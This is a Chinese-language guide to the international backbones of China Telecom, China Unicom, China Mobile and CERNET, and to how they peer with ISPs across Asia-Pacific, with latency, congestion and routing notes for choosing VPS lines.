全国规模最大的骨干网,享有最大的国际出口,如果读者办理的是一般性的电信宽带又或者是商宽,访问境外网站,如果对方ISP没有购买电信的CN2 Transit,那么就走这个骨干网。
宽带业务范围:家用游戏及海外加速宽带、商用跨国优化宽带、政企宽带
海外加速的专有业务:CN2国际精品网套餐(覆盖几乎全国)
已知出口:北京、上海、广州、乌鲁木齐
技术先进,一般到一个ISP有不止一个Policy可以到达,灵活性非常高,因此可以提供稳定快速的国际互联服务,一般对海外聊天、游戏有较高需求的都会使用该网。目前该网是国内到国际网络高峰期能提供最好速率和体验的骨干网之一。
宽带业务范围:家宽、商宽、政企宽带
海外加速业务:尚不明确,或当前未推出
已知出口:北京、上海、广州
如果是联通用户,除非访问的对方ISP购买了电信CN2 Transit/联通的CU Premiun,否则一律走169骨干网。该网目前出国拥堵程度小于电信163,但是总体速度和延时可靠性不如CN2。因价格便宜实惠,一般被很多游戏爱好者(国际服玩家)以及对普通外教课程有需求的首选宽带。
通常我们这些Player也会更多倾向的考虑联通宽带,因为目前到国际网络普遍较好的就是联通的169骨干网。
宽带业务范围:商业宽带、政企宽带
海外加速服务:本网专做海外加速服务
已知出口:北京、上海、广州
本网前身为网通的骨干网,后与联通合并后改为联通A网,联通将该骨干网用于国际互联加速服务,价格昂贵,主要是跨国企业在使用,该网已无家宽业务。
宽带业务范围:家宽、商宽、政企宽带
海外加速业务:尚不明确,或为高Qos商宽/机房宽带
已知出口:北京、上海、广州
AS9808为移动境内的骨干网,未设与国际ISP Peer,故所有出境流量通过AS58453(CMI)与外网互联。
AS58453又被称之为CMI,是移动的国际段骨干网,最早只在香港建网,并接入HKIX,后逐渐扩大至全球。
移动骨干网现如今已经不再具有国际出口优势,目前三网中只略好于电信163。只有高Qos的宽带才可以体验到17年前移动最初的乐趣。
宽带业务范围:各大高校的校园网和部分大型国内云服务提供商
已知出口:北京清华大学
该网不服务于家宽、商宽、政企,一般来说,只有大学生和大学教授才会经常接触到这个网络。
常见ISP:CMI、CUG、NTT、PCCW、Telia、Telstra、CHT、HKBN、HKT、WTT、HGC、GTT、TaTa、HE、Cogentco、SingTel
常见IX:HKIX、EIEHKG(Equinix Internet Exchange HongKong)
常见下游:Cloudflare、Amazon、Azure、Google、CDN77、Cera Network
该地区ISP连接质量排名(仅供参考,有些线路走不同的汇聚层会有不同的质量):
AS4134:CUG > CMI > Telstra >Others(对于163来说,只有CMI、CUG、CN2才可以不被严格的Qos限速,其他163直连的ISP在高峰几乎都一致性地失速,再往后比较就没有意义了)
AS4837:CUG > CMI > PCCW > CHT > HKBN/WTT > HKT > Others
AS58453:CMI > CUG > SingTel > HKIX > NTT > HKBN/WTT > Others
我相信对于很多南方地区的用户来说,对于需要访问一些全球类的网站,离得最近的CDN网络都是在香港(延时最低)。香港机房一直都是很多面向亚太地区服务器托管商的兵家必争之地,所以也涌现出了大量的IDC商家,可惜虽然鱼目混杂,但是能做到价格便宜且到国内直连的却少之又少,直连高昂的宽带单价也劝退了大部分商家。
截至目前,只有国内大厂如阿里云、腾讯云敢大规模对外提供到国内直连的低价的香港轻量云服务,把价格从千元价位瞬间杀至2位数,但是因为需求量极大,而不得不严重超售宽带——极大的延时抖动,随机不确定的丢包,这使得对于托管在腾讯云、阿里云香港的网站的访客来说体验并不好。
CMI - 移动自己的国际骨干网
由于CMI自己也在卖香港资源,所以有些下游会选择直接购买CMI的Transit,来获得高Qos的CMI体验,这样国内用户到这些下游提供商就可以全部走移动的骨干网,来获得高性价比且高质量的访问体验。
境内连接质量:非常高,只要对方下游接入了足够的CMI Transit宽带,峰值宽带基本是移动保证的。无论是电信、联通还是移动(当然移动用户访问过去,优先级是最高的)。虽然高性价比,但是毕竟是香港地区,流量单价依旧远超美欧Transit的单价。
CUG - 联通自己的国际骨干网
同移动的CMI,联通也卖香港资源(自治系统编号AS10099),很多下游也选择接入了CUG的资源,这对于联通用户来说,等于获得了很好的质量保证。
境内连接质量:非常高,只要对方下游接入了足够的CUG Transit宽带,峰值宽带基本是联通保证的。无论是电信、联通还是移动(当然联通用户访问过去,优先级是最高的)。
NTT(香港)
可直连的国内骨干网:AS4809、AS58453
在香港地区,只有电信CN2、移动可以直连,其中电信CN2买了NTT Transit 。其余电信163和联通169都会绕路日本和美国,详见NTT(日本)和NTT(美国)。
连接质量:需要注意的是,CN2很多时候不是万能的,特别是香港地区。CN2到香港NTT不可靠,有时候会爆炸,延时会呈现剧烈的抖动,如果需要追求高稳定性,不推荐CN2用户使用接入香港NTT的网络。
移动如果不买他们的商业高Qos宽带,在高峰时期直连NTT会被Qos,丢包和延时都会显著增加,速度一般无法超过10Mbps。对于高Qos的移动用户也并不乐观,高峰时期,因为上海和广州地区汇聚层拥堵显著,所以最高速率往往也无法超过200Mbps
特殊CM2精品网大客户除外,此类客户购买了移动的国际加速业务,移动优先保证此类 VIP 付费客户的宽带,Qos等级仅次于移动内网业务的必要控制流量,是所有运营类宽带里最高的,故除非PoP塞爆,否则在CMI和各大ISP的Peer下都会极力保证合同签约速率,哪怕是NTT、Cogent这些平时流量极大的网络都可以做到插队绿色通道。
PCCW(香港)/HKT
可直连的国内骨干网:AS4134、AS4809、AS4837、AS9929、AS58453
我们平时接触PCCW的机会很多,PCCW也有一个负责国际优化的网络PCCWG (G=Global),我们平时遇到的商家一般接入的都是PCCW(非含G的网)。其实PCCW的效果在平时是被夸大的,就算是线路可以直连实际综合连接效果也仅仅是一个平均水平。
电信163(AS4134)到香港PCCW是否直连看本地电信网络是否有自己的AS号,比如北京电信的AS4847城域网,上海电信的AS4812城域网等。一般来说,如果该地网络有自己的城域网AS号专门管辖,除非商家有特别优化,那么一般到香港PCCW不直连,否则如果是直接位于AS4134上一般会直连。电信网络到PCCW一般只有北京和广州两个汇聚层可达,上海汇聚层不可达,高峰丢包较高,速度不理想。
联通169(AS4837)联通到香港PCCW可能绕美,原因和电信部分相同,不再赘述。直连的情况下,联通到PCCW效果要远远好于电信,处于可用的状态。
联通A网(AS9929) 网络质量基本是这么多网络里面连接到PCCW最好的,延时抖动也是最低的。但是9929的价格比CN2都要贵上好多倍,一般没有点钞能力是用不上的...
移动的CMI(AS58453),如果没有商家优化,移动会随机把路由发往美国、日本、香港三地,以实现流量平衡,在用户看来,这就导致延时时高时低,非常不稳定,不推荐移动使用。
同时,HKT隶属于PCCW,所有的国际出口都是走PCCW/PCCWG的。HKT因为可以走上PCCWG和德国地区直连,所以也被称之为打机神线。但是普通的HKT家宽/静态根据段不一样,联通169可能绕韩国KT,也有可能直连;
联通9929通过PCCW与HKT互联。
Telstra Global(香港)
可直连的国内骨干网:AS4134、AS4837、AS4538、AS9929、AS58453
这个网络我相信教育网用户会比较熟悉,Pacnet就是Telstra的,Telstra 承担了教育网的亚太地区的主要出口。
Telstra是为数不多三网都可以直连香港,对我们很友好的ISP。哪怕是电信163也可以在香港地区直连Telstra,高峰速度也算是电信163网络中顶级的了,我一向非常推荐Telstra,于是在此反复安利了。另外,Telstra也是电信163到亚太地区(特别是印度、澳大利亚、新加坡)低延时的性价比解决方案。
Traceroute to India Telstra Global
联通的169网络到Telstra也不差,在香港的直连宽带很大,高峰情况,据近一年的SmokePing数据来看很稳定,如果想要搞一个新加坡的VPS,选Telstra线路的也不差哦~(香港的Telstra线路的VPS很少)
AS9929与Telstra Global有Peer,高峰速度非常可观。
香港Telstra和移动CMI的互联就比较拉垮了.... 整体互联宽带相比与NTT、HKIX而言相形见绌,这也为高峰的延时猛涨买下了伏笔(互联宽带一旦打满,数据包需要排队等待,延时立即升高)。较小的宽带会影响线路的稳定性,如遇DDOS塞满PoP,延时和丢包也会使得网络瞬间不可用。
所以移动用户决定要用Telstra线路的服务器来搞事情之前最好深思熟虑一下 - -
CHT(香港)
可直连国内骨干网:AS4134、AS4837、AS58453
CHT即中华电信,为中国台湾的第一大ISP,拥有2大骨干网(CHW「 HINET」、TWGATE),我们通常说的Hinet即为CHW网络,CHW与TWGATE的关系可以参照电信163和CN2的关系。
事与愿违,从几天前开始,电信163骨干网到CHW网络的效果急转直下,无论是低峰还是高峰的下载速度都只能用惨淡来形容。所以除非你有业务需求,否则我不推荐你把个人网站放在CHW下,高昂的成本价格现在无法匹配上其延时和速度,是个性价比很低的选择。
相比于电信163的拉垮表现,联通169的表现就漂亮的多,差不多的延时却有着更低的丢包,更高的峰值速度。但是鉴于该地区很高的主机售价,如果你是一个联通用户,CHW也未必是最佳的选择。
也别对移动CMI抱有太大的期望,在低峰和高峰表现截然不同,高峰常常极度拉垮,上面的Telstra好歹还是有速度,这个是真的一点速度都跑不出来,不推荐。
HKBN/WTT
可直连国内骨干网:AS4134、AS4837、AS58453
HKBN都主要服务于香港宽带,故一起讨论了,目前没有看到亚太其他有接入它们的案例。一般只有在流媒体解锁用途的时候会用到它。
HKBN三网可以直连,由于没有资料表明HKBN拥有强大的国际骨干网,这两家也没有什么特殊的地方,故点到为止。
HE(香港)
可直连国内骨干网:AS58453(Through HKIX)、AS9929(via HKIX)
移动可以通过HKIX直连HE香港,但是该操作需要IDC调整路由表,否则移动默认连接香港HE会绕美。
联通9929同样也是通过HKIX直连HE香港。曾经是走CUG的HKIX互联,如今是走联通9929自己与HKIX的互联。
爆炸绕路三幻神之一,所以对于电信、联通169和教育网来说,都会绕美,故详见HE(美国)。
TaTa(香港)
可直连国内骨干网:AS4837、AS9929
电信163网络原先和Tata在香港有Peer,但现在基本不走了,具体原因未知。联通和Tata在香港直连,大部分情况下回程绕美,安徽联通商宽到香港GCP/台湾GCP(标准ip)回程走Tata直连。此线路出现的概率极小,联通4837和香港Tata存在带宽大约为600mbps的peer。
在特殊优化下,联通9929可以经过TATA与CUG的Peer来得到直连。但是非优化线路哪怕跟CUG有Peer也绕美。不愧是爆炸绕路三幻神之首...
Cogentco(香港)
可直连国内骨干网:无
爆炸绕路三幻神之一。Cogentco在香港地区没有国内的ISP可以直连。电信、联通9929、移动和教育网会绕美,联通169则绕新加坡,详见Cogentco(美国)、Cogentco(新加坡)
GTT(香港)
可直连国内骨干网:无
GTT在香港地区没有国内的ISP可以直连。三网均会绕美,详见GTT(美国)
常见ISP:中国电信(澳门分公司)、CTM、MTel
中国电信(澳门)
中国电信自己在澳门经营的分公司,国内全部网络都可直连,走AS4134或AS4809(GIA)。
CTM
可直连国内骨干网:AS4134*、AS4837*、AS58453
并非所有IP都直连,非大陆优化的国际网络都不直连
CTM是澳门最早成立的电信公司,在澳门地区提供上网服务,目前仍旧是当地规模最大的ISP。
CTM很早就和电信163、联通169互联,网络质量可靠,但是CTM的机房托管业务把网络分为了2类,一类是国内优化,即提供国内直连路由,一类是更加便宜的国际路由,这类路由不提供国内直连。目前市场上比较平民的澳门VPS都是国际路由,并未针对国内优化。
移动则是在后期不断扩张中涉及澳门移动上网业务,后在澳门建设PoP,但澳门PoP只和香港PoP相连接,所以移动用户如需访问澳门CTM需要先经过香港方可到达,延时自然就不如前者低(大约多了6ms)。
MTel
可直连国内骨干网:AS4134、AS58453
MTel于2011年成立,是所有澳门经营的电信公司里资历最浅的。MTel和中国电信163目前已经实现互联,但因容量很小,导致互联效果不佳——澳门MTel和中国电信163的互联经常打满,延时波动很大,晚高峰受限于整体互联宽带大小,速度也无法令人满意。
联通绕日本NTT,主要取决于联通到日本NTT的表现,移动走自家的澳门PoP,主要取决于CMI是否给力。
常见ISP:HiNet、TFN(台湾固网)、SeedNet、TaNet(台湾学术网络)、HomePlus(中嘉宽频)
常见IX:TWIX
HINET
可直连国内骨干网:AS4134、AS58453、AS4837
其中 AS4134 和 AS4837 延迟都明显要比 AS58453 高一些。广州移动延迟大约 40ms,武汉电信家宽环境中延迟大约 50ms~60ms,北京电信商宽大约 70ms,上海联通商宽延迟大约170ms,长沙联通商宽延迟大约140ms。
HiNet是中华电信(CHT)的一个品牌,也是全台湾最大的宽带提供商。目前台湾地区的主流流媒体解锁都是用了HiNet动态IP(家宽)以及静态IP(商宽、IDC)来解锁的。HiNet拥有整个台湾地区最大的电信骨干网,也是国内出口流量最大的ISP。CHT另拥有一张TWGate的网络,专注国际互联,其性质相当于中国电信的CN2。
TFN
台湾固网
SeedNet
TaNet
HomePlus
常见ISP:NTT、IIJ、KDDI、BBTEC、Telstra、PCCW、BGP.NET
常见IX:JPIX、BBIX、EIEHND(Equinix Internet Exchange Tokyo)
常见下游:Cloudflare、Amazon、Azure、Google、M427、xTom
日本的宽带业务竞争激烈,导致ISP提供商不得不杀出更低的价格来吸引客户,但是往往事与愿违——用户的口碑却更糟糕了。比如,和阿里巴巴合资的SoftBank(软银)公司创立的ISP服务商——BBTEC,看起来是一个不错的选择,实际晚高峰网络拥堵,体验很差劲,试想如果发条消息都要卡半天的话,真的是一件很让人抓狂的事情呢。
不仅是家宽,商宽乃至服务器机房,接入一条ISP线路的成本价格都不菲,况且很多日本IDC只对日本本国居民提供服务,所以催生了很多代办业务,最有名的就是樱花机房的服务器代办服务。往往只有这些对本土开放的IDC才有可能是原生IP(可以解锁当地的众多流媒体、游戏和网站,很有意义),所以哪怕要被代办收取高额的代办费,也会有很多有需求的人士会前去购买。
NTT
可直连国内骨干网:AS4134、AS4809、AS4837、AS9929、AS58423
日本作为NTT的大本营,几乎全国的宽带服务提供商都有NTT的踪迹。因为NTT的骨干网覆盖了日本几乎所有能够覆盖到的地区。
关于日本NTT,我想在文中说明的实在太多了,限于篇幅,我还是精简一下 - -...
NTT和国内ISP互联时间很早,在2000年后,NTT和当时的网通互联,互联出口设在上海和北京,并在上海和北京分别建设NTT的PoP节点(少数国外ISP将PoP设在国内的案例)。
值得一提的是,但是这是目前国内直连日本NTT延时很低且很稳定的渠道,CN2到日本NTT都干不过它,根据实测,目前NTT-9929的速度基本取决于用户接入的9929的带宽速度。
中国电信163和日本NTT之间的扩容就勤快多了,电信还在日本东京设立了PoP方便和日本本土ISP快速互联。听起来很美好是吗?但是这不妨碍电信163和日本NTT之间日常大爆炸(里面大部分都是被巨量的DDOS流量打崩的)。
绝大多数情况下,163-东京NTT、163-新加坡NTT两线是163网络所有互联线路中质量最差的网络,没有之一。
根据近一个月的监测记录,上海电信到东京NTT之间的平均延时(周期为半小时)在48~295ms之间抖动,高峰一小时平均丢包率峰值可达40%,高峰一分钟平均丢包率极限情况下达到了惊人的99%,这就导致了高峰哪怕绕美的体验都要强于直连。
联通的169网络早期有2条路线可以前往日本NTT,一条是从北京-大阪,另外一条是上海-东京。虽然联通169一直普遍被用户认为国际出口质量很高,但是这2条NTT的线路也并非各位读者想的那么美好。
北京联通169 - 日本大阪NTT该线其实最早是网通搭建的。联通收购网通后,便把网通的PoP拨给自己使用,直至今日,我们都可以在NTT在北京PoP IP的rDNS上找到来自历史的证明——
129.250.8.26(xe-0.cnc-g.osakjp02.jp.bb.gin.ntt.net)
这里的CNC,就是曾经的China NetCom(中国网通)的缩写,osakjp,指的就是日本大阪。xe是指骨干网路由使用的是Juniper公司研发的路由,每条线为10Gbps端口 。
但是到了现在,由于联通也在不断开拓自己的国际市场,目前联通也在东京和大阪分别设立了PoP,只是目前往北京方向回程依旧在走NTT的北京PoP,往上海直接走的是联通在日本自己的PoP了。
经过了最近的一番扩容和优化,北方联通169往日本NTT方向也有很大的改善(目前暂时停止北京-大阪该线路由,走上海),延时显著降低。虽然去程多绕了一点,但是延时下降了很多,还是可以接受的。
移动作为后来者,前往日本NTT最早都是借助香港CMI出国,近两年才开通了日本东京的PoP,并用上了全新的NCP海缆才得以能够不绕港直连。
但是目前移动到日本NTT都不走NCP,而是继续绕香港CMI,估计在不久的未来直连后会有更低的延时体验。
IIJ
可直连骨干网:AS4134、AS4837、AS58423
中国电信的163与IIJ的互联是通过电信在东京的PoP实现的,国内可以通过三大汇聚层轻松访问PoP节点。互联的网络质量远好于和NTT的质量。IIJ是电信163用户造访日本网站最好的线路之一,目前已经胜过软银,不考虑高峰丢包和延时抖动,是性价比之选。
中国联通169与IIJ的互联方式和电信几乎一样,但是综合来看要好于163与IIJ互联的质量。提供IIJ接入的IDC价格比较亲民的很多,如果不愿意接受软银的高价位的话,不妨试试IIJ。另外,教育网前往IIJ也会走联通169骨干网出国。
目前移动和IIJ的互联已经通过东京移动的PoP来完成,故移动到日本IIJ不再绕香港而是通过NCP海缆直连东京的PoP后与IIJ完成互联,上海移动到东京IIJ参考延时为45ms(实际上可以做到32ms)。
综上,IIJ是日本地区对我们比较友好的,也是价格相较于其他三家比较实惠的一家ISP,如果没有太小众化的需求,上国内走IIJ的VPS是很省心的选择。
BBTEC
可直连骨干网:AS4134、AS4837、AS9929、AS58423
BBTEC(软银)其实是近几年才被我们注意到的一家ISP,在上海地区设有PoP并与电信163和联通169/9929互联。该线路一直被称之为联通到日本最好的线路之一。
想要补充一点的是,9929早期和软银并没有直连Peer,而是借助4837(联通169)作为跳板实现的。而近期在路由测试中,我们可以清楚地看到软银和9929已经在上海PoP实现互联,但是在BGP ToolKit上都未显示2者有任何形式的互联,基本可以判断是Private Peer。
电信163到软银延时相比于NTT属实较低,但是却同样跑不出什么速度来,延时最初是日本御四家里最低的,但是后来因为使用人数的增加,延时逐渐不如IIJ。
联通169到软银的延时则相对不稳定,取决于去程走上海口和北京口,通常BBTEC回程经由自己的上海POP与联通互联。尽管联通和软银互联的优势已经不如以前,但是目前仍旧是联通到日本最好的线路之一。
联通9929到软银的延时稳定,互联速度也取决于用户接入的9929带宽速度。
如今,移动已经在日本的东京设立了PoP,所以从回程看,除了广州移动还是继续走香港CMI,其余均在日本就Peer,并由移动自己的骨干网负责流量回国承载。目前去程依旧全部绕香港CMI,这也导致北方移动延时的升高。总体来说,软银对北方移动不友好。
KDDI
可直连国内骨干网:AS9929
曾经活在传说中的线路,价格昂贵,唯一的优势就是低负载,延迟一般40ms上下抖动。联通9929速度单线程只能跑到100Mbps左右。
常见ISP:NTT、Singtel、Telstra、StarHub、MyRepublic、PCCW(G)、Cogentco、HE、Tata、CMI、CUG、BGP.NET、SG.GS
常见IX:SGIX、EIESG(Equinix Internet Exchange Singapore)
下游:OVH、Cloudflare、Google、Amazon
NTT(新加坡)
可直连国内骨干网:AS4134、AS58453
正如你所见,NTT在亚太地区无处不在~ 所以我们一般把NTT视作亚太地区ISP的标杆,这已经成为了事实上公认的标准。
在新加坡,NTT也拥有巨量的骨干资源,轻松连接新加坡所有的本地ISP。NTT也有多条新加坡至日本的海底光缆所有权/使用权,所以NTT可以借新加坡作为跳板,以此连接马来西亚、菲律宾、印度尼西亚、泰国、越南、缅甸、柬埔寨、印度等国,在其后我们也会讨论到这些地区的本地网络情况。
中国电信163与2020年和NTT在新加坡正式建立互联,即意味着新加坡NTT从即日起无需绕行日本再与163骨干网互联,但是情况变得更加糟糕,因为新加坡地区的中国电信163和NTT互联宽带很小,所以几乎全天都处于被塞满的状态,延时异常偏高,丢包率极大,因此非常不推荐使用163连接新加坡地区的NTT。
移动的CMI在新加坡有自己的PoP,同时在当地就可以和NTT互联,因互联宽带很大,所以目前没有看到被塞爆的情况,移动用户目前访问新加坡地区资源的主流渠道就是通过新加坡PoP。
联通9929和联通169目前都不能直连新加坡NTT,请详见日本NTT。
SingTel(新加坡电信)
可直连骨干网:AS4837、AS9929、AS58453
Update: 随着移动CMI Transit在亚太的高性价比的优势被挖掘,我们也可以看到大量走CMI的香港/新加坡VPS出现在市场上。这也是目前最具有性价比的大宽带亚太VPS,但是目前CMI的峰值流量已经达到其容量极限,如果依旧不能大幅度扩容的话,CMI在晚高峰的延时和丢包已经呈现显著增长的趋势。
移动为了减轻自己的跨国骨干网压力,目前已经开始对于第三方ISP收取更高的Transit费用,第三方有些已经采用单向路由的方式来节省成本。对于SingTel来说,大陆->新加坡的这部分流量要远大于新加坡->大陆的流量,而现在拥堵的也主要是新加坡->大陆的这部分流量,所以目前SingTel已经断开了往大陆方向移动在新加坡的直连,改走更加通用的NTT。不过目前移动对自家网络CMI和NTT的质量部署了较为严格的限速策略,导致延时、丢包和速度表现均不佳。
联通的169,在这里把“稳定”两个字表现的淋漓尽致,网络对于亚太的支持绝对可以称为老二,在新加坡地区,联通和SingTel有直接Peer,故整体延时和移动几乎一致,只要回程不绕路,使用SingTel也很棒,目前联通也是唯一SingTel双向新加坡直连的国内ISP。
但是对于中国电信163来说,因163网络和SingTel在世界各地都没有Transit/Peer,这就导致前往新加坡SingTel之前,数据先会被发送至美西Tata/Telia,但是目前电信163和美西的互联早就已经满了(其实不只是163,CN2也满了),所以速度上来说非常糟糕,加上严格的动态Qos策略,使得延时和丢包雪上加霜。
需要补充一下的是,新加坡SingTel是全新加坡最大规模的ISP,在非大陆地区的国际互联上面,SingTel还是有着相当大的优势,如果您在新加坡的话,选择SingTel还是最佳选择。
Telstra Global(新加坡)
可直连骨干网:这都香港直连了,还要什么自行车!
由于接入Telstra的VPS大多在日本、澳大利亚、新加坡,而Telstra和国内御三家主要的Peer在HKG(香港),所以速度肯定差不多的啦~
StarHub
可直连骨干网:AS4134、AS4837、AS58453
StarHub是当地一大本土运营商,提供宽带服务,因为规模较大,常用来解锁新区流媒体的用途。
既然三网都在新加坡和StarHub有Peer,那么是不是就代表着StarHub到我们国内的表现非常优秀呢?实际路由表现并没有读者想象中的那么好。电信163去程是直连但是回程是绕路的,联通169回程是直的但是去程绕了日本NTT。
只有移动比前两者好一些,通过新加坡EIE和Starhub互联,较于前者这种的优势在于IX中心互联非常方便对接IX内的所有网络,但是容量可能有限,难免高峰不爆炸。
MyRepublic
MyRepublic也是当地一大本土运营商,通常被用来解锁新区流媒体的用途。但是MyRepublic没有任何和国内御三家的互联,所以最好使用移动CMI或者CN2中转。
中国电信163、中国联通169网络走NTT,移动走新加坡EIE至StarHub再转MyRepublic。
Cogentco
可直连骨干网:AS4837
近日,中国联通169在新加坡地区和Cogentco开通了新的Peer,使得很多亚太地区Cogent单栈的宽带/服务器都焕发了新的生命,通过联通的169网络,可以做到广州联通到新加坡Cogentco 46ms的延时成绩。
Tata
可直连骨干网:AS4387、AS9929(从AS10099接入)
Tata在新加坡与联通存在peer,可经由AS4837直连广州入口,目前已知经过新加坡Tata到联通的线路几乎都是孟买一带的机器,例如Linode、阿里云、腾讯云等
常见ISP:TMNet (unifi) 、TIMEdotCom (TIME MY)、EBB.MY (Extreme Broadband) 、Allo Technology (City Broadband) 、Maxis Communications Bhd 、Celcom Axiata Berhad 、PCCW(G)、HE、Tata、CMI
常见IX:MYIX (The Malaysia Internet Exchange) 、JBIX (Johor Bahru Internet Exchange (JBIX))
下游:Cloudflare、OVH、MSCHosting (Exabytes)、U Mobile 、DiGi Telecommunications (Telenor)、MYREN (Malaysian Research & Education Network)
马来西亚所有的ISP几乎都对中国移动友好,有些是在 Equinix SG 转一圈后接入 CMI , 有些是接入 NTT 新加坡 后到 NTT HK 再到 CMI HK
TMNet (unifi)
TMNet (unifi) , ASN 为 4788 , 是全马来西亚数一数二的ISP , 几乎垄断马来西亚近70%的固定宽频市场,常用来解锁马区流媒体的用途
可直连骨干网: AS4134 中国电信
中国联通会从新加坡接入 HE.Net 后绕到美国HE.Net 再接入中国大陆
中国电信通过TM接入中国电信日本后接入中国大陆
CN2 经由Singtel SG 后跳入广州
中国移动先是到 Equnix SG 再到 CMI 再到 AS9808
和 TIMEdotCom (TIME MY) 的互联很烂,经常出现晚高峰 100ms + 的情况
国际网络质量偶尔抽风
和 OVH 新加坡拥有peering
TIMEdotCom (TIME MY)
TIMEdotCom (TIME MY) , ASN 为 9930 , 是全马来西亚除 TMNet (unifi) 第二大的ISP,提供的家宽配套无论是在速度还是价钱都吊打 TMNet(unifi) , 双向500Mbps带公网IP家宽只需210+人民币,在马来西亚算很便宜了,目前市面上没看见 TIMEdotCom 的VPS,不过可用来解锁马区流媒体
可直连骨干网:
AS9808 会经过:
163 骨干网和 TMNet (unifi) 情况类似,会转发到 Tata :
Tata SG - Tata JP - Tata US - 163 骨干网
CN2 会经过 HGC HK 接入大陆 CN2
AS4837 都会经过 Singtel
仍不确定 TIME 跟 中国电信买了多少容量
可是通过路由可以发现是直接从马来西亚 TIME 骨干网跳入中国电信新加坡 PoP , 后直接到中国大陆电信骨干网
AS4837 : 去程经过 NTT SG - NTT 日本 - 中国大陆
目测回程绕美 ,延迟可达200ms +
其他ISP基本都半斤八两:
总结:
马来西亚ISP基本都对中国移动友好,极少ISP (比如 Maxis / TIMEdotCom) 在连接中国联通时走的是 Singtel 直连,不过延迟90+ , 有可能回程绕日本
市面上目前也就 TMNet (unifi) VPS , 仍未见到类似 TIMEdotCom / Maxis 的VPS
常见ISP:KT、SKT、LG (绕路的ISP:NTT、PCCW、Telstra Global 绕日绕港绕新加坡 故不测试)
常见IX:KINX
常见下游:Moack、Oracle、Cloudflare、Amazon、Azure
韩国本土网络发达,除了三大ISP以外还有地区性ISP,大陆地区前往韩国主要走TPE、APG、APCN-2、NCP四大海缆。
国际路由差强人意,但靠着CDN也足够应付。但到中国大陆的带宽与路由不尽人意,绕路与直连汇聚层日常性堵塞层出不穷,丢包与抖动比较严重(虽然没有到163-NTT那么夸张)。
同时韩国的互联网管理相对严格,购买上比较麻烦。
KT
可直连骨干网:AS4134、AS4809、AS4837、AS9929、AS58453
KT(Korea Telecom),韩国最大电信运营商,市场占有率排名第一。
目前电信163/CN2和韩国KT之间的互联是通过APG海缆完成的,因为APG海缆只在上海有登陆,所以目前前往韩国KT都是走上海出口。需要注意的是,无论是电信163还是CN2和韩国KT的互联宽带均有限,高峰汇聚层没炸先Peer炸了也是经常发生的事情。
电信163至韩国KT的速度在Peer不被塞满的情况下单线程能跑100-200Mbps,晚高峰受限于汇聚层和Peer宽带的双重因素影响,速度受限比较严重。CN2虽然不用太担心汇聚层的拥塞问题,但是目前的Peer宽带依旧是比较主要的速度和延时等稳定性制约因素。
联通9929与KT有互联,同样也是走上海出口。高峰期几乎无丢包,延迟极低,单看极限最低延迟逼近沪韩IPLC;可惜经常抖动,虽然幅度不超过5ms。速度方面也属于跟日本ISP到9929一样,KT到9929的速度取决于用户接入的9929带宽速度。近期似乎扩容/更新设备了,抖动大幅降低。
根据测试。KT-广州移动(120.197/183.240段)高峰期速度非常不稳定,回程路由绕港。
SK Telecom
可直连骨干网:AS4134、AS4809、AS4837、AS58453
SKT可能从某种意义上知名度比KT高,SK Telecom是韩国最大的移动网络业务运营商。
实际上提供网络服务的是SKT的旗下公司SK Boardband。这一点可以从ASN信息中看出。
SK - 163 答案很简单,走上海出口直连但是会BOOM,包括163+...
SK - CN2 非常稳定,有Peer,任何时段基本没有丢包但看起来绕港,速度不稳定。
SK - CU169(上海)时延会在高峰期会振荡,速度也飘忽不定,但配合单边加速还算可用。
CMI与SK Boardband在香港Peer,移动经香港到CMI可以与其直连,到广东移动的速度飘忽不定。
LG
可直连骨干网: AS4134、AS4809、AS4837、AS9929
韩国第三大ISP,现名LG Uplus,曾用名“Intergrated LG Telecom”。LG的电信发展历史基本上就是一场收购史……
LG Uplus 由三家LG子公司合并而来,分别是LG DACOM,LG Powercom和LG Telecom。其中LG DACOM和LG Powercom又是收购而来。原来的LG Powercom负责运营民用网络,从韩国电力收购而来;LG DACOM负责国际通信业务,也就是LG的国际路由上会出现DACOM的原因。
DACOM全名为DataCommunication,由韩国政府牵头,LG与三星共同投资建设,但拥有独立经营权的ISP,后因为LG额外注资增持股份,LG完全接管DACOM。而LG Telecom则是LG自己独自投资建设的移动网络。
LG到联通169(上海)直连,走上海出口,配合单边加速高峰期速度不错。但ICMP丢包率特别高。
LG到联通9929是直连,同样走上海出口。但奇特的是虽然延迟也很低,速度却非常不稳定,隔三差五就突发性的延时起飞;但是正常的时候又十分平稳,几乎没有抖动,可速度依旧不尽人意。
常见ISP:VNPT、FPT
VNPT
可直连骨干网:AS4134、AS4837、AS58453
作为全越南最大的电信ISP,VNPT拥有着全越南最大的骨干网和国际出口,但是一般很少有人会拿越南的宽带做流媒体解锁服务。
虽然电信163和VNPT互联(广州出口,胡志明市PoP),但VNPT的网络质量本身就不是很可靠,导致高峰没有速度乃是常态。最近VNPT还把回程的163直连路由改成绕路了(到香港后转PCCW,但PCCW到电信现在默认会绕美),使得电信163和VNPT的网络单向互联意义不大。
电信163也和VNPT在香港地区以CTG(中国电信国际)的名义互联,但少有可以走到这条线上的,而且回程依旧绕PCCW,导致目前两条与VNPT互联的线路都是单向路由。
电信163最神奇的地方莫过于,并不是所有的VNPT IP段都会走上述2条互联,也有可能会走美西的Tata亦或是走欧洲的Cogent借助胡志明的BICS接入VNPT。
联通169到VNPT也通过胡志明市的PoP互联,但是和电信163一样,也是单向互联,回程绕PCCW。
移动CMI在香港和VNPT互联,常规操作,感兴趣的可以翻翻香港地区的ISP是怎么和移动互联的就知道了。
FPT
可直连骨干网:AS4134、AS4837、AS58453
如果说VNPT到国内御三家都不怎么友好的话,那么FPT应该是到越南地区非常友好的ISP了。
电信去程163会走联通的网络去和FPT互联,回程走香港CTG回国,但是宽带很小经常爆炸,不爆炸的时候速度很快,期待以后的扩容。
因为FPT接入了CUG,所以联通169到越南FPT走的是AS4837->AS10099->FPT,虽然CUG很可靠,但是依旧受限于FPT接入宽带的容量,晚高峰几乎天天爆炸,这个只能等FPT扩容。
移动CMI和VNPT一样,都是常规互联,晚上也炸的很厉害。
我后期还会在这里添加日本、印度尼西亚、菲律宾、泰国、印度、孟加拉国、柬埔寨、泰国、尼泊尔等国家。
欧洲/北美的网络情况跟亚太差异比较大。欧美的中小ISP大部分依靠的是IX互联或者机房托管的混合网络接入。
虽然商业网络的价格比亚洲地区便宜,但至少对中国用户来说,很少再回程路由中遇见欧美的Regional T1或者高质量T1 ISP。
